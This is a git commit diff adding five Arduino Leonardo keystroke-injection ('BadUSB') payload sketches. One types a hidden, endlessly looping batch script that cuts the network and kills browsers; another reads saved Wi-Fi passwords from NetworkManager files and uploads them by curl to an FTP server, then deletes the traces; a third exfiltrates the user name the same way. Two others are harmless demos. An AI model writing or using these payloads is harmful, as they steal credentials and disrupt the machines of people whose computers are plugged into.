+payloads
This commit is contained in:
parent
ad346c219a
commit
cc06446e97
|
@ -0,0 +1,67 @@
|
|||
#define kbd_es_es
|
||||
#include <phukdlib_leonardo.h>
|
||||
|
||||
void setup() {
|
||||
Keyboard.begin();
|
||||
}
|
||||
|
||||
void loop() {
|
||||
delay(5000);
|
||||
CommandAtRunBarMSWIN("cmd /Q /D /T:7F /F:OFF /V:OFF /K");
|
||||
delay(5000);
|
||||
|
||||
//// A Different directory in case the second one is inaccessable ////
|
||||
Keyboard.println("cd %userprofile%\\Downloads\\");
|
||||
delay(2000);
|
||||
// Keyboard.println("cd C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\");
|
||||
// delay(2000);
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
|
||||
Keyboard.println("erase /Q a.bat");
|
||||
delay(2000);
|
||||
Keyboard.println("copy con a.bat");
|
||||
delay(2000);
|
||||
Keyboard.println("@echo off");
|
||||
delay(2000);
|
||||
Keyboard.println(":Start");
|
||||
delay(2000);
|
||||
Keyboard.println("ipconfig /release");
|
||||
delay(2000);
|
||||
Keyboard.println("taskkill /f /im \"iexplore.exe\"");
|
||||
delay(2000);
|
||||
Keyboard.println("taskkill /f /im \"firefox.exe\"");
|
||||
delay(2000);
|
||||
Keyboard.println("taskkill /f /im \"chrome.exe\"");
|
||||
delay(2000);
|
||||
Keyboard.println("timeout /t 60");
|
||||
delay(2000);
|
||||
Keyboard.println("Goto Start");
|
||||
delay(2000);
|
||||
Keyboard.press(KEY_LEFT_CTRL);
|
||||
Keyboard.press('z');
|
||||
delay(100);
|
||||
Keyboard.releaseAll();
|
||||
delay(2000);
|
||||
Keyboard.press(KEY_RETURN);
|
||||
delay(100);
|
||||
Keyboard.releaseAll();
|
||||
delay(2000);
|
||||
Keyboard.println("erase /Q invis.vbs");
|
||||
delay(2000);
|
||||
Keyboard.println("copy con invis.vbs");
|
||||
delay(2000);
|
||||
Keyboard.println("CreateObject(\"Wscript.Shell\").Run \"\"\"\" & WScript.Arguments(0) & \"\"\"\", 0, False");
|
||||
delay(2000);
|
||||
Keyboard.press(KEY_LEFT_CTRL);
|
||||
Keyboard.press('z');
|
||||
delay(100);
|
||||
Keyboard.releaseAll();
|
||||
delay(2000);
|
||||
Keyboard.press(KEY_RETURN);
|
||||
delay(100);
|
||||
Keyboard.releaseAll();
|
||||
delay(2000);
|
||||
Keyboard.println("wscript.exe invis.vbs a.bat");
|
||||
Keyboard.println("exit");
|
||||
while(1);
|
||||
}
|
|
@ -0,0 +1,18 @@
|
|||
|
||||
#include <phukdlib_leonardo.h>
|
||||
#define kbd_es_es
|
||||
|
||||
void setup() {
|
||||
Keyboard.begin();
|
||||
}
|
||||
|
||||
void loop() {
|
||||
delay(5000);
|
||||
CommandAtRunBarGnome("gnome-terminal");
|
||||
delay(3000);
|
||||
Keyboard.println("cd /etc/NetworkManager/system-connections; grep psk= *|paste -sd,>~/capture.txt; cd ~; export xfile='capture.txt'; export ftpuser='USERNAME'; export ftppass='PASSWORD'; export xip='IPSERVERFTP'");
|
||||
delay(3000);
|
||||
Keyboard.println("curl -T ${xfile} ftp://${ftpuser}:${ftppass}@${xip}/${xfile}; rm capture.txt; exit");
|
||||
delay(5000);
|
||||
while(1);
|
||||
}
|
|
@ -0,0 +1,20 @@
|
|||
#include <phukdlib_leonardo.h>
|
||||
#define kbd_es_es
|
||||
|
||||
void setup() {
|
||||
Keyboard.begin();
|
||||
}
|
||||
|
||||
void loop() {
|
||||
delay(5000);
|
||||
CommandAtRunBarGnome("gnome-terminal");
|
||||
delay(3000);
|
||||
Keyboard.println("export xfile='LinuxUser.txt'; export ftpuser='USERNAME'; export ftppass='PASSWORD'; data=\"$(whoami)\"; echo ${data}>${xfile}; export xip='IPSERVERFTP'");
|
||||
delay(3000);
|
||||
Keyboard.println("curl -T ${xfile} ftp://${ftpuser}:${ftppass}@${xip}/${xfile}");
|
||||
delay(7000);
|
||||
Keyboard.println("rm LinuxUser.txt");
|
||||
delay(2000);
|
||||
Keyboard.println("exit");
|
||||
while(1);
|
||||
}
|
|
@ -0,0 +1,26 @@
|
|||
#include <phukdlib_leonardo.h>
|
||||
#define kbd_es_es
|
||||
|
||||
void setup() {
|
||||
Keyboard.begin();
|
||||
}
|
||||
|
||||
void loop() {
|
||||
delay(5000);
|
||||
CommandAtRunBarMSWIN("cmd");
|
||||
delay(3000);
|
||||
Keyboard.println("echo @echo off>>example.bat");
|
||||
delay(2000);
|
||||
Keyboard.println("echo color 2a>>example.bat");
|
||||
delay(2000);
|
||||
Keyboard.println("echo mode con cols=50 lines=10>>example.bat");
|
||||
delay(2000);
|
||||
Keyboard.println("echo title Hello>>example.bat");
|
||||
delay(2000);
|
||||
Keyboard.println("echo echo Hello World>>example.bat");
|
||||
delay(2000);
|
||||
Keyboard.println("echo pause>>example.bat");
|
||||
delay(2000);
|
||||
Keyboard.println("example.bat");
|
||||
while(1);
|
||||
}
|
|
@ -0,0 +1,12 @@
|
|||
#include <phukdlib_leonardo.h>
|
||||
#define kbd_es_es
|
||||
|
||||
void setup() {
|
||||
Keyboard.begin();
|
||||
}
|
||||
|
||||
void loop() {
|
||||
delay(5000);
|
||||
CommandAtRunBarMSWIN("osk");
|
||||
while(1);
|
||||
}
|
Loading…
Reference in New Issue